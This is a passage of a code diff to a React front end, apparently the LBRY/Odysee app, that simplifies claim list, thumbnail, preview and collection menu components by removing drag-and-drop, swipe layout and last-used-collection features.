<LevelIcon icon={icon} isControlling={isControlling} size={isControlling ? 14 : 10} />
|
||||
@@ -78,19 +65,8 @@ function ChannelStakedIndicator(props: Props) {
|
||||
<LevelIcon icon={icon} large={large} isControlling={isControlling} />
|
||||
</div>
|
||||
</Tooltip>
|
||||
);
|
||||
} else {
|
||||
return (
|
||||
<div
|
||||
className={classnames('channel-staked__wrapper', {
|
||||
'channel-staked__wrapper--large': large,
|
||||
'channel-staked__wrapper--inline': inline,
|
||||
})}
|
||||
>
|
||||
<LevelIcon icon={icon} large={large} isControlling={isControlling} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
type LevelIconProps = {
|
||||
|
||||
@@ -23,7 +23,6 @@ type Props = {
|
||||
showDelayedMessage?: boolean,
|
||||
noLazyLoad?: boolean,
|
||||
hideStakedIndicator?: boolean,
|
||||
hideTooltip?: boolean,
|
||||
xsmall?: boolean,
|
||||
noOptimization?: boolean,
|
||||
setThumbUploadError: (boolean) => void,
|
||||
@@ -46,12 +45,11 @@ function ChannelThumbnail(props: Props) {
|
||||
showDelayedMessage = false,
|
||||
noLazyLoad,
|
||||
hideStakedIndicator = false,
|
||||
hideTooltip,
|
||||
setThumbUploadError,
|
||||
ThumbUploadError,
|
||||
} = props;
|
||||
const [thumbLoadError, setThumbLoadError] = React.useState(ThumbUploadError);
|
||||
const shouldResolve = !isResolving && claim === undefined;
|
||||
const shouldResolve = claim === undefined;
|
||||
const thumbnail = rawThumbnail && rawThumbnail.trim().replace(/^http:\/\//i, 'https://');
|
||||
const thumbnailPreview = rawThumbnailPreview && rawThumbnailPreview.trim().replace(/^http:\/\//i, 'https://');
|
||||
const defaultAvatar = AVATAR_DEFAULT || Gerbil;
|
||||
@@ -79,7 +77,7 @@ function ChannelThumbnail(props: Props) {
|
||||
if (isGif && !allowGifs) {
|
||||
return (
|
||||
<FreezeframeWrapper src={channelThumbnail} className={classnames('channel-thumbnail', className)}>
|
||||
{!hideStakedIndicator && <ChannelStakedIndicator uri={uri} claim={claim} hideTooltip={hideTooltip} />}
|
||||
{!hideStakedIndicator && <ChannelStakedIndicator uri={uri} claim={claim} />}
|
||||
</FreezeframeWrapper>
|
||||
);
|
||||
}
|
||||
@@ -93,7 +91,6 @@ function ChannelThumbnail(props: Props) {
|
||||
'channel-thumbnail--resolving': isResolving,
|
||||
})}
|
||||
>
|
||||
{/* show delay necessary? */}
|
||||
{showDelayedMessage ? (
|
||||
<div className="channel-thumbnail--waiting">{__('This will be visible in a few minutes.')}</div>
|
||||
) : (
|
||||
|
||||
@@ -79,7 +79,15 @@ const ClaimCollectionAdd = (props: Props) => {
|
||||
.filter((list) => (isChannel ? list.type === 'collection' : list.type === 'playlist'))
|
||||
.map((l) => {
|
||||
const { id } = l;
|
||||
return <CollectionSelectItem collectionId={id} uri={permanentUrl} key={id} category={'builtin'} />;
|
||||
return (
|
||||
<CollectionSelectItem
|
||||
claim={claim}
|
||||
collectionId={id}
|
||||
uri={permanentUrl}
|
||||
key={id}
|
||||
category={'builtin'}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
{unpublished &&
|
||||
(Object.values(unpublished): any)
|
||||
@@ -88,7 +96,13 @@ const ClaimCollectionAdd = (props: Props) => {
|
||||
.map((l) => {
|
||||
const { id } = l;
|
||||
return (
|
||||
<CollectionSelectItem collectionId={id} uri={permanentUrl} key={id} category={'unpublished'} />
|
||||
<CollectionSelectItem
|
||||
claim={claim}
|
||||
collectionId={id}
|
||||
uri={permanentUrl}
|
||||
key={id}
|
||||
category={'unpublished'}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
{published &&
|
||||
@@ -96,7 +110,13 @@ const ClaimCollectionAdd = (props: Props) => {
|
||||
// $FlowFixMe
|
||||
const { id } = l;
|
||||
return (
|
||||
<CollectionSelectItem collectionId={id} uri={permanentUrl} key={id} category={'published'} />
|
||||
<CollectionSelectItem
|
||||
claim={claim}
|
||||
collectionId={id}
|
||||
uri={permanentUrl}
|
||||
key={id}
|
||||
category={'published'}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
|
||||
+43
-111
@@ -1,7 +1,4 @@
|
||||
// @flow
|
||||
|
||||
// $FlowFixMe
|
||||
import { Draggable } from 'react-beautiful-dnd';
|
||||
import { MAIN_CLASS } from 'constants/classnames';
|
||||
import type { Node } from 'react';
|
||||
import React, { useEffect } from 'react';
|
||||
@@ -47,13 +44,7 @@ type Props = {
|
||||
collectionId?: string,
|
||||
showNoSourceClaims?: boolean,
|
||||
onClick?: (e: any, claim?: ?Claim, index?: number) => void,
|
||||
maxClaimRender?: number,
|
||||
excludeUris?: Array<string>,
|
||||
loadedCallback?: (number) => void,
|
||||
swipeLayout: boolean,
|
||||
showEdit?: boolean,
|
||||
droppableProvided?: any,
|
||||
unavailableUris?: Array<string>,
|
||||
noEmpty: boolean,
|
||||
};
|
||||
|
||||
export default function ClaimList(props: Props) {
|
||||
@@ -84,13 +75,7 @@ export default function ClaimList(props: Props) {
|
||||
collectionId,
|
||||
showNoSourceClaims,
|
||||
onClick,
|
||||
maxClaimRender,
|
||||
excludeUris = [],
|
||||
loadedCallback,
|
||||
swipeLayout = false,
|
||||
showEdit,
|
||||
droppableProvided,
|
||||
unavailableUris,
|
||||
noEmpty,
|
||||
} = props;
|
||||
|
||||
const [currentSort, setCurrentSort] = usePersistedState(persistedStorageKey, SORT_NEW);
|
||||
@@ -100,19 +85,8 @@ export default function ClaimList(props: Props) {
|
||||
const timedOut = uris === null;
|
||||
const urisLength = (uris && uris.length) || 0;
|
||||
|
||||
let tileUris = (prefixUris || []).concat(uris || []);
|
||||
tileUris = tileUris.filter((uri) => !excludeUris.includes(uri));
|
||||
if (prefixUris && prefixUris.length) tileUris.splice(prefixUris.length * -1, prefixUris.length);
|
||||
|
||||
const totalLength = tileUris.length;
|
||||
|
||||
if (maxClaimRender) tileUris = tileUris.slice(0, maxClaimRender);
|
||||
|
||||
let sortedUris = (urisLength > 0 && (currentSort === SORT_NEW ? tileUris : tileUris.slice().reverse())) || [];
|
||||
|
||||
React.useEffect(() => {
|
||||
if (typeof loadedCallback === 'function') loadedCallback(totalLength);
|
||||
}, [totalLength]); // eslint-disable-line react-hooks/exhaustive-deps
|
||||
const tileUris = (prefixUris || []).concat(uris);
|
||||
const sortedUris = (urisLength > 0 && (currentSort === SORT_NEW ? tileUris : tileUris.slice().reverse())) || [];
|
||||
|
||||
const noResultMsg = searchInLanguage
|
||||
? __('No results. Contents may be hidden by the Language filter.')
|
||||
@@ -122,21 +96,11 @@ export default function ClaimList(props: Props) {
|
||||
setCurrentSort(currentSort === SORT_NEW ? SORT_OLD : SORT_NEW);
|
||||
}
|
||||
|
||||
const handleClaimClicked = React.useCallback(
|
||||
(e, claim, index) => {
|
||||
if (onClick) {
|
||||
onClick(e, claim, index);
|
||||
}
|
||||
},
|
||||
[onClick]
|
||||
);
|
||||
|
||||
const customShouldHide = React.useCallback((claim: StreamClaim) => {
|
||||
// Hack to hide spee.ch thumbnail publishes
|
||||
// If it meets these requirements, it was probably uploaded here:
|
||||
// https://github.com/lbryio/lbry-redux/blob/master/src/redux/actions/publish.js#L74-L79
|
||||
return claim.name.length === 24 && !claim.name.includes(' ') && claim.value.author === 'Spee.ch';
|
||||
}, []);
|
||||
function handleClaimClicked(e, claim, index) {
|
||||
if (onClick) {
|
||||
onClick(e, claim, index);
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
const handleScroll = debounce((e) => {
|
||||
@@ -159,32 +123,8 @@ export default function ClaimList(props: Props) {
|
||||
}
|
||||
}, [loading, onScrollBottom, urisLength, pageSize, page]);
|
||||
|
||||
const getClaimPreview = (uri: string, index: number, draggableProvided?: any) => (
|
||||
<ClaimPreview
|
||||
uri={uri}
|
||||
indexInContainer={index}
|
||||
type={type}
|
||||
active={activeUri && uri === activeUri}
|
||||
hideMenu={hideMenu}
|
||||
includeSupportAction={includeSupportAction}
|
||||
showUnresolvedClaim={showUnresolvedClaims}
|
||||
properties={renderProperties || (type !== 'small' ? undefined : false)}
|
||||
renderActions={renderActions}
|
||||
showUserBlocked={showHiddenByUser}
|
||||
showHiddenByUser={showHiddenByUser}
|
||||
collectionId={collectionId}
|
||||
showNoSourceClaims={showNoSourceClaims}
|
||||
customShouldHide={customShouldHide}
|
||||
onClick={handleClaimClicked}
|
||||
swipeLayout={swipeLayout}
|
||||
showEdit={showEdit}
|
||||
dragHandleProps={draggableProvided && draggableProvided.dragHandleProps}
|
||||
unavailableUris={unavailableUris}
|
||||
/>
|
||||
);
|
||||
|
||||
return tileLayout && !header ? (
|
||||
<section className={classnames('claim-grid', { 'swipe-list': swipeLayout })}>
|
||||
<section className="claim-grid">
|
||||
{urisLength > 0 &&
|
||||
tileUris.map((uri) => (
|
||||
<ClaimPreviewTile
|
||||
@@ -194,10 +134,11 @@ export default function ClaimList(props: Props) {
|
||||
properties={renderProperties}
|
||||
collectionId={collectionId}
|
||||
showNoSourceClaims={showNoSourceClaims}
|
||||
swipeLayout={swipeLayout}
|
||||
/>
|
||||
))}
|
||||
{!timedOut && urisLength === 0 && !loading && <div className="empty main--empty">{empty || noResultMsg}</div>}
|
||||
{!timedOut && urisLength === 0 && !loading && !noEmpty && (
|
||||
<div className="empty main--empty">{empty || noResultMsg}</div>
|
||||
)}
|
||||
{timedOut && timedOutMessage && <div className="empty main--empty">{timedOutMessage}</div>}
|
||||
</section>
|
||||
) : (
|
||||
@@ -237,52 +178,43 @@ export default function ClaimList(props: Props) {
|
||||
{urisLength > 0 && (
|
||||
<ul
|
||||
className={classnames('ul--no-style', {
|
||||
card: !(tileLayout || swipeLayout || type === 'small'),
|
||||
card: !(tileLayout || type === 'small'),
|
||||
'claim-list--card-body': tileLayout,
|
||||
'swipe-list': swipeLayout,
|
||||
})}
|
||||
{...(droppableProvided && droppableProvided.droppableProps)}
|
||||
ref={droppableProvided && droppableProvided.innerRef}
|
||||
>
|
||||
{injectedItem && sortedUris.some((uri, index) => index === 4) && <li>{injectedItem}</li>}
|
||||
|
||||
{sortedUris.map((uri, index) =>
|
||||
droppableProvided ? (
|
||||
<Draggable key={uri} draggableId={uri} index={index}>
|
||||
{(draggableProvided, draggableSnapshot) => {
|
||||
// Restrict dragging to vertical axis
|
||||
// https://github.com/atlassian/react-beautiful-dnd/issues/958#issuecomment-980548919
|
||||
let transform = draggableProvided.draggableProps.style.transform;
|
||||
|
||||
if (draggableSnapshot.isDragging && transform) {
|
||||
transform = transform.replace(/\(.+,/, '(0,');
|
||||
}
|
||||
|
||||
const style = {
|
||||
...draggableProvided.draggableProps.style,
|
||||
transform,
|
||||
};
|
||||
|
||||
return (
|
||||
<li ref={draggableProvided.innerRef} {...draggableProvided.draggableProps} style={style}>
|
||||
{/* https://github.com/atlassian/react-beautiful-dnd/issues/1756 */}
|
||||
<div style={{ display: 'none' }} {...draggableProvided.dragHandleProps} />
|
||||
|
||||
{getClaimPreview(uri, index, draggableProvided)}
|
||||
</li>
|
||||
);
|
||||
{sortedUris.map((uri, index) => (
|
||||
<React.Fragment key={uri}>
|
||||
{injectedItem && index === 4 && <li>{injectedItem}</li>}
|
||||
<ClaimPreview
|
||||
uri={uri}
|
||||
indexInContainer={index}
|
||||
type={type}
|
||||
active={activeUri && uri === activeUri}
|
||||
hideMenu={hideMenu}
|
||||
includeSupportAction={includeSupportAction}
|
||||
showUnresolvedClaim={showUnresolvedClaims}
|
||||
properties={renderProperties || (type !== 'small' ? undefined : false)}
|
||||
renderActions={renderActions}
|
||||
showUserBlocked={showHiddenByUser}
|
||||
showHiddenByUser={showHiddenByUser}
|
||||
collectionId={collectionId}
|
||||
showNoSourceClaims={showNoSourceClaims}
|
||||
customShouldHide={(claim: StreamClaim) => {
|
||||
// Hack to hide spee.ch thumbnail publishes
|
||||
// If it meets these requirements, it was probably uploaded here:
|
||||
// https://github.com/lbryio/lbry-redux/blob/master/src/redux/actions/publish.js#L74-L79
|
||||
return claim.name.length === 24 && !claim.name.includes(' ') && claim.value.author === 'Spee.ch';
|
||||
}}
|
||||
</Draggable>
|
||||
) : (
|
||||
getClaimPreview(uri, index)
|
||||
)
|
||||
)}
|
||||
|
||||
{droppableProvided && droppableProvided.placeholder}
|
||||
onClick={(e, claim, index) => handleClaimClicked(e, claim, index)}
|
||||
/>
|
||||
</React.Fragment>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
|
||||
{!timedOut && urisLength === 0 && !loading && <div className="empty empty--centered">{empty || noResultMsg}</div>}
|
||||
{!timedOut && urisLength === 0 && !loading && !noEmpty && (
|
||||
<div className="empty empty--centered">{empty || noResultMsg}</div>
|
||||
)}
|
||||
{!loading && timedOut && timedOutMessage && <div className="empty empty--centered">{timedOutMessage}</div>}
|
||||
</section>
|
||||
);
|
||||
|
||||
@@ -94,13 +94,6 @@ type Props = {
|
||||
doClaimSearch: ({}) => void,
|
||||
doToggleTagFollowDesktop: (string) => void,
|
||||
doFetchViewCount: (claimIdCsv: string) => void,
|
||||
|
||||
loadedCallback?: (number) => void,
|
||||
maxClaimRender?: number,
|
||||
useSkeletonScreen?: boolean,
|
||||
excludeUris?: Array<string>,
|
||||
|
||||
swipeLayout: boolean,
|
||||
};
|
||||
|
||||
function ClaimListDiscover(props: Props) {
|
||||
@@ -164,11 +157,6 @@ function ClaimListDiscover(props: Props) {
|
||||
empty,
|
||||
claimsByUri,
|
||||
doFetchViewCount,
|
||||
loadedCallback,
|
||||
maxClaimRender,
|
||||
useSkeletonScreen = true,
|
||||
excludeUris = [],
|
||||
swipeLayout = false,
|
||||
} = props;
|
||||
const didNavigateForward = history.action === 'PUSH';
|
||||
const { search } = location;
|
||||
@@ -253,7 +241,7 @@ function ClaimListDiscover(props: Props) {
|
||||
release_time?: string,
|
||||
claim_type?: string | Array<string>,
|
||||
name?: string,
|
||||
duration?: string | Array<string>,
|
||||
duration?: string,
|
||||
reposted_claim_id?: string,
|
||||
stream_types?: any,
|
||||
fee_amount?: string,
|
||||
@@ -345,8 +333,6 @@ function ClaimListDiscover(props: Props) {
|
||||
options.duration = '<=240';
|
||||
} else if (durationParam === CS.DURATION_LONG) {
|
||||
options.duration = '>=1200';
|
||||
} else if (durationParam === CS.DURATION_MEDIUM) {
|
||||
options.duration = ['<=1200', '>=240'];
|
||||
}
|
||||
}
|
||||
|
||||
@@ -507,21 +493,6 @@ function ClaimListDiscover(props: Props) {
|
||||
}
|
||||
|
||||
function resolveOrderByOption(orderBy: string | Array<string>, sortBy: string | Array<string>) {
|
||||
// let order_by; // peterson 038692cafc793616cceaf10b88909fecde07ad0b
|
||||
//
|
||||
// switch (orderBy) {
|
||||
// case CS.ORDER_BY_TRENDING:
|
||||
// order_by = CS.ORDER_BY_TRENDING_VALUE;
|
||||
// break;
|
||||
// case CS.ORDER_BY_NEW:
|
||||
// order_by = CS.ORDER_BY_NEW_VALUE;
|
||||
// break;
|
||||
// case CS.ORDER_BY_NEW_ASC:
|
||||
// order_by = CS.ORDER_BY_NEW_ASC_VALUE;
|
||||
// break;
|
||||
// default:
|
||||
// order_by = CS.ORDER_BY_TOP_VALUE;
|
||||
// }
|
||||
const order_by =
|
||||
orderBy === CS.ORDER_BY_TRENDING
|
||||
? CS.ORDER_BY_TRENDING_VALUE
|
||||
@@ -598,12 +569,8 @@ function ClaimListDiscover(props: Props) {
|
||||
searchOptions={options}
|
||||
showNoSourceClaims={showNoSourceClaims}
|
||||
empty={empty}
|
||||
maxClaimRender={maxClaimRender}
|
||||
excludeUris={excludeUris}
|
||||
loadedCallback={loadedCallback}
|
||||
swipeLayout={swipeLayout}
|
||||
/>
|
||||
{loading && useSkeletonScreen && (
|
||||
{loading && (
|
||||
<div className="claim-grid">
|
||||
{new Array(dynamicPageSize).fill(1).map((x, i) => (
|
||||
<ClaimPreviewTile key={i} placeholder="loading" />
|
||||
@@ -635,13 +602,8 @@ function ClaimListDiscover(props: Props) {
|
||||
searchOptions={options}
|
||||
showNoSourceClaims={hasNoSource || showNoSourceClaims}
|
||||
empty={empty}
|
||||
maxClaimRender={maxClaimRender}
|
||||
excludeUris={excludeUris}
|
||||
loadedCallback={loadedCallback}
|
||||
swipeLayout={swipeLayout}
|
||||
/>
|
||||
{loading &&
|
||||
useSkeletonScreen &&
|
||||
new Array(dynamicPageSize)
|
||||
.fill(1)
|
||||
.map((x, i) => (
|
||||
|
||||
@@ -424,8 +424,7 @@ function ClaimListHeader(props: Props) {
|
||||
{CS.DURATION_TYPES.map((dur) => (
|
||||
<option key={dur} value={dur}>
|
||||
{/* i18fixme */}
|
||||
{dur === CS.DURATION_SHORT && __('Short (< 4 min)')}
|
||||
{dur === CS.DURATION_MEDIUM && __('Medium (4 - 20 min)')}
|
||||
{dur === CS.DURATION_SHORT && __('Short (< 4 minutes)')}
|
||||
{dur === CS.DURATION_LONG && __('Long (> 20 min)')}
|
||||
{dur === CS.DURATION_ALL && __('Any')}
|
||||
</option>
|
||||
|
||||
@@ -3,12 +3,10 @@ import { selectClaimForUri, selectClaimIsMine } from 'redux/selectors/claims';
|
||||
import { doCollectionEdit, doFetchItemsInCollection } from 'redux/actions/collections';
|
||||
import { doPrepareEdit } from 'redux/actions/publish';
|
||||
import {
|
||||
makeSelectCollectionForId,
|
||||
makeSelectCollectionForIdHasClaimUrl,
|
||||
makeSelectCollectionIsMine,
|
||||
makeSelectEditedCollectionForId,
|
||||
makeSelectUrlsForCollectionId,
|
||||
selectLastUsedCollection,
|
||||
} from 'redux/selectors/collections';
|
||||
import { makeSelectFileInfoForUri } from 'redux/selectors/file_info';
|
||||
import * as COLLECTIONS_CONSTS from 'constants/collections';
|
||||
@@ -45,8 +43,6 @@ const select = (state, props) => {
|
||||
const shuffleList = selectListShuffle(state);
|
||||
const shuffle = shuffleList && shuffleList.collectionId === collectionId && shuffleList.newUrls;
|
||||
const playNextUri = shuffle && shuffle[0];
|
||||
const lastUsedCollectionId = selectLastUsedCollection(state);
|
||||
const lastUsedCollection = makeSelectCollectionForId(lastUsedCollectionId)(state);
|
||||
|
||||
return {
|
||||
claim,
|
||||
@@ -74,14 +70,6 @@ const select = (state, props) => {
|
||||
editedCollection: makeSelectEditedCollectionForId(collectionId)(state),
|
||||
resolvedList: makeSelectUrlsForCollectionId(collectionId)(state),
|
||||
playNextUri,
|
||||
lastUsedCollection,
|
||||
hasClaimInLastUsedCollection: makeSelectCollectionForIdHasClaimUrl(
|
||||
lastUsedCollectionId,
|
||||
contentPermanentUri
|
||||
)(state),
|
||||
lastUsedCollectionIsNotBuiltin:
|
||||
lastUsedCollectionId !== COLLECTIONS_CONSTS.WATCH_LATER_ID &&
|
||||
lastUsedCollectionId !== COLLECTIONS_CONSTS.FAVORITES_ID,
|
||||
};
|
||||
};
|
||||
|
||||
|
||||
@@ -39,7 +39,7 @@ type Props = {
|
||||
doChannelUnmute: (string) => void,
|
||||
doCommentModBlock: (string) => void,
|
||||
doCommentModUnBlock: (string) => void,
|
||||
doCommentModBlockAsAdmin: (string, ?string, ?string) => void,
|
||||
doCommentModBlockAsAdmin: (commenterUri: string, offendingCommentId: ?string, blockerId: ?string) => void,
|
||||
doCommentModUnBlockAsAdmin: (string, string) => void,
|
||||
doCollectionEdit: (string, any) => void,
|
||||
hasClaimInWatchLater: boolean,
|
||||
@@ -60,9 +60,6 @@ type Props = {
|
||||
resolvedList: boolean,
|
||||
fetchCollectionItems: (string) => void,
|
||||
doToggleShuffleList: (string) => void,
|
||||
lastUsedCollection: ?Collection,
|
||||
hasClaimInLastUsedCollection: boolean,
|
||||
lastUsedCollectionIsNotBuiltin: boolean,
|
||||
};
|
||||
|
||||
function ClaimMenuList(props: Props) {
|
||||
@@ -103,9 +100,6 @@ function ClaimMenuList(props: Props) {
|
||||
resolvedList,
|
||||
fetchCollectionItems,
|
||||
doToggleShuffleList,
|
||||
lastUsedCollection,
|
||||
hasClaimInLastUsedCollection,
|
||||
lastUsedCollectionIsNotBuiltin,
|
||||
} = props;
|
||||
const [doShuffle, setDoShuffle] = React.useState(false);
|
||||
const incognitoClaim = contentChannelUri && !contentChannelUri.includes('@');
|
||||
@@ -163,9 +157,11 @@ function ClaimMenuList(props: Props) {
|
||||
doToast({
|
||||
message: source ? __('Item removed from %name%', { name }) : __('Item added to %name%', { name }),
|
||||
});
|
||||
if (contentClaim) {
|
||||
doCollectionEdit(collectionId, { uris: [contentClaim.permanent_url], remove: source, type: 'playlist' });
|
||||
}
|
||||
doCollectionEdit(collectionId, {
|
||||
claims: [contentClaim],
|
||||
remove: source,
|
||||
type: 'playlist',
|
||||
});
|
||||
}
|
||||
|
||||
function handleFollow() {
|
||||
@@ -365,22 +361,6 @@ function ClaimMenuList(props: Props) {
|
||||
{__('Add to Lists')}
|
||||
</div>
|
||||
</MenuItem>
|
||||
{lastUsedCollection && lastUsedCollectionIsNotBuiltin && (
|
||||
<MenuItem
|
||||
className="comment__menu-option"
|
||||
onSelect={() =>
|
||||
handleAdd(hasClaimInLastUsedCollection, lastUsedCollection.name, lastUsedCollection.id)
|
||||
}
|
||||
>
|
||||
<div className="menu__link">
|
||||
{!hasClaimInLastUsedCollection && <Icon aria-hidden icon={ICONS.ADD} />}
|
||||
{hasClaimInLastUsedCollection && <Icon aria-hidden icon={ICONS.DELETE} />}
|
||||
{!hasClaimInLastUsedCollection &&
|
||||
__('Add to %collection%', { collection: lastUsedCollection.name })}
|
||||
{hasClaimInLastUsedCollection && __('In %collection%', { collection: lastUsedCollection.name })}
|
||||
</div>
|
||||
</MenuItem>
|
||||
)}
|
||||
<hr className="menu__separator" />
|
||||
</>
|
||||
)
|
||||
|
||||
@@ -11,24 +11,17 @@ function ClaimPreviewLoading(props: Props) {
|
||||
const { isChannel, type } = props;
|
||||
return (
|
||||
<li
|
||||
className={classnames('placeholder claim-preview__wrapper', {
|
||||
className={classnames('claim-preview__wrapper', {
|
||||
'claim-preview__wrapper--channel': isChannel && type !== 'inline',
|
||||
'claim-preview__wrapper--inline': type === 'inline',
|
||||
'claim-preview__wrapper--small': type === 'small',
|
||||
})}
|
||||
>
|
||||
<div className={classnames('claim-preview', { 'claim-preview--large': type === 'large' })}>
|
||||
<div className="media__thumb" />
|
||||
<div className="placeholder media__thumb" />
|
||||
<div className="placeholder__wrapper">
|
||||
<div className="claim-preview__title" />
|
||||
<div className="claim-preview__title_b" />
|
||||
<div className="claim-tile__info">
|
||||
<div className="channel-thumbnail" />
|
||||
<div className="claim-tile__about">
|
||||
<div className="media__subtitle" />
|
||||
<div className="media__subtitle_b" />
|
||||
</div>
|
||||
</div>
|
||||
<div className="placeholder claim-preview__title" />
|
||||
<div className="placeholder media__subtitle" />
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
|
||||
@@ -10,12 +10,17 @@ import {
|
||||
selectDateForUri,
|
||||
} from 'redux/selectors/claims';
|
||||
import { makeSelectStreamingUrlForUri } from 'redux/selectors/file_info';
|
||||
import { makeSelectCollectionIsMine } from 'redux/selectors/collections';
|
||||
import {
|
||||
makeSelectCollectionIsMine,
|
||||
makeSelectUrlsForCollectionId,
|
||||
makeSelectIndexForUrlInCollection,
|
||||
} from 'redux/selectors/collections';
|
||||
|
||||
import { doResolveUri } from 'redux/actions/claims';
|
||||
import { doCollectionEdit } from 'redux/actions/collections';
|
||||
import { doFileGet } from 'redux/actions/file';
|
||||
import { selectBanStateForUri } from 'lbryinc';
|
||||
import { selectLanguage, selectShowMatureContent } from 'redux/selectors/settings';
|
||||
import { selectShowMatureContent } from 'redux/selectors/settings';
|
||||
import { makeSelectHasVisitedUri } from 'redux/selectors/content';
|
||||
import { selectIsSubscribedForUri } from 'redux/selectors/subscriptions';
|
||||
import { isClaimNsfw } from 'util/claim';
|
||||
@@ -45,13 +50,15 @@ const select = (state, props) => {
|
||||
streamingUrl: props.uri && makeSelectStreamingUrlForUri(props.uri)(state),
|
||||
wasPurchased: props.uri && makeSelectClaimWasPurchased(props.uri)(state),
|
||||
isCollectionMine: makeSelectCollectionIsMine(props.collectionId)(state),
|
||||
lang: selectLanguage(state),
|
||||
collectionUris: makeSelectUrlsForCollectionId(props.collectionId)(state),
|
||||
collectionIndex: makeSelectIndexForUrlInCollection(props.uri, props.collectionId)(state),
|
||||
};
|
||||
};
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
resolveUri: (uri) => dispatch(doResolveUri(uri)),
|
||||
getFile: (uri) => dispatch(doFileGet(uri, false)),
|
||||
editCollection: (id, params) => dispatch(doCollectionEdit(id, params)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(ClaimPreview);
|
||||
@@ -6,14 +6,10 @@ import { isEmpty } from 'util/object';
|
||||
import classnames from 'classnames';
|
||||
import { isURIValid } from 'util/lbryURI';
|
||||
import * as COLLECTIONS_CONSTS from 'constants/collections';
|
||||
import { isChannelClaim } from 'util/claim';
|
||||
import { formatLbryUrlForWeb } from 'util/url';
|
||||
import { formatClaimPreviewTitle } from 'util/formatAriaLabel';
|
||||
import { toCompactNotation } from 'util/string';
|
||||
import Tooltip from 'component/common/tooltip';
|
||||
import FileThumbnail from 'component/fileThumbnail';
|
||||
import UriIndicator from 'component/uriIndicator';
|
||||
import PreviewOverlayProperties from 'component/previewOverlayProperties';
|
||||
import ClaimTags from 'component/claimTags';
|
||||
import SubscribeButton from 'component/subscribeButton';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
@@ -29,9 +25,10 @@ import ClaimMenuList from 'component/claimMenuList';
|
||||
import ClaimPreviewLoading from './claim-preview-loading';
|
||||
import ClaimPreviewHidden from './claim-preview-no-mature';
|
||||
import ClaimPreviewNoContent from './claim-preview-no-content';
|
||||
import CollectionEditButtons from 'component/collectionEditButtons';
|
||||
import { useIsMobile } from 'effects/use-screensize';
|
||||
import CollectionEditButtons from './collection-buttons';
|
||||
|
||||
import AbandonedChannelPreview from 'component/abandonedChannelPreview';
|
||||
import PreviewOverlayProperties from 'component/previewOverlayProperties';
|
||||
|
||||
// preview images used on the landing page and on the channel page
|
||||
type Props = {
|
||||
@@ -52,7 +49,7 @@ type Props = {
|
||||
type: string,
|
||||
banState: { blacklisted?: boolean, filtered?: boolean, muted?: boolean, blocked?: boolean },
|
||||
hasVisitedUri: boolean,
|
||||
blockedUris: Array<string>,
|
||||
channelIsBlocked: boolean,
|
||||
actions: boolean | Node | string | number,
|
||||
properties: boolean | Node | string | number | ((Claim) => Node),
|
||||
empty?: Node,
|
||||
@@ -71,17 +68,15 @@ type Props = {
|
||||
repostUrl?: string,
|
||||
hideMenu?: boolean,
|
||||
collectionId?: string,
|
||||
editCollection: (string, CollectionEditParams) => void,
|
||||
isCollectionMine: boolean,
|
||||
collectionUris: Array<Collection>,
|
||||
collectionIndex?: number,
|
||||
disableNavigation?: boolean,
|
||||
mediaDuration?: string,
|
||||
date?: any,
|
||||
indexInContainer?: number, // The index order of this component within 'containerId'.
|
||||
channelSubCount?: number,
|
||||
swipeLayout: boolean,
|
||||
lang: string,
|
||||
showEdit?: boolean,
|
||||
dragHandleProps?: any,
|
||||
unavailableUris?: Array<string>,
|
||||
};
|
||||
|
||||
const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
@@ -102,6 +97,7 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
streamingUrl,
|
||||
mediaDuration,
|
||||
// user properties
|
||||
channelIsBlocked,
|
||||
hasVisitedUri,
|
||||
// component
|
||||
history,
|
||||
@@ -133,48 +129,37 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
hideMenu = false,
|
||||
// repostUrl,
|
||||
collectionId,
|
||||
collectionIndex,
|
||||
editCollection,
|
||||
isCollectionMine,
|
||||
collectionUris,
|
||||
disableNavigation,
|
||||
indexInContainer,
|
||||
channelSubCount,
|
||||
swipeLayout = false,
|
||||
lang,
|
||||
showEdit,
|
||||
dragHandleProps,
|
||||
unavailableUris,
|
||||
} = props;
|
||||
|
||||
const isMobile = useIsMobile();
|
||||
|
||||
const isCollection = claim && claim.value_type === 'collection';
|
||||
const collectionClaimId = isCollection && claim && claim.claim_id;
|
||||
const listId = collectionId || collectionClaimId;
|
||||
const listId = collectionId || collectionClaimId || null;
|
||||
const WrapperElement = wrapperElement || 'li';
|
||||
const shouldFetch =
|
||||
claim === undefined || (claim !== null && claim.value_type === 'channel' && isEmpty(claim.meta) && !pending);
|
||||
const abandoned = !isResolvingUri && !claim;
|
||||
const isMyCollection = listId && (isCollectionMine || listId.includes('-'));
|
||||
if (isMyCollection && claim === null && unavailableUris) unavailableUris.push(uri);
|
||||
|
||||
const shouldHideActions = hideActions || isMyCollection || type === 'small' || type === 'tooltip';
|
||||
const canonicalUrl = claim && claim.canonical_url;
|
||||
const lastCollectionIndex = collectionUris ? collectionUris.length - 1 : 0;
|
||||
const channelSubscribers = React.useMemo(() => {
|
||||
if (channelSubCount === undefined) {
|
||||
return <span />;
|
||||
}
|
||||
const formattedSubCount = toCompactNotation(channelSubCount, lang, 10000);
|
||||
const formattedSubCountLocale = Number(channelSubCount).toLocaleString();
|
||||
const formattedSubCount = Number(channelSubCount).toLocaleString();
|
||||
return (
|
||||
<div className="media__subtitle">
|
||||
<Tooltip title={formattedSubCountLocale} followCursor placement="top">
|
||||
<span className="claim-preview__channel-sub-count">
|
||||
{channelSubCount === 1 ? __('1 Follower') : __('%formattedSubCount% Followers', { formattedSubCount })}
|
||||
</span>
|
||||
</Tooltip>
|
||||
</div>
|
||||
<span className="claim-preview__channel-sub-count">
|
||||
{channelSubCount === 1 ? __('1 Follower') : __('%formattedSubCount% Followers', { formattedSubCount })}
|
||||
</span>
|
||||
);
|
||||
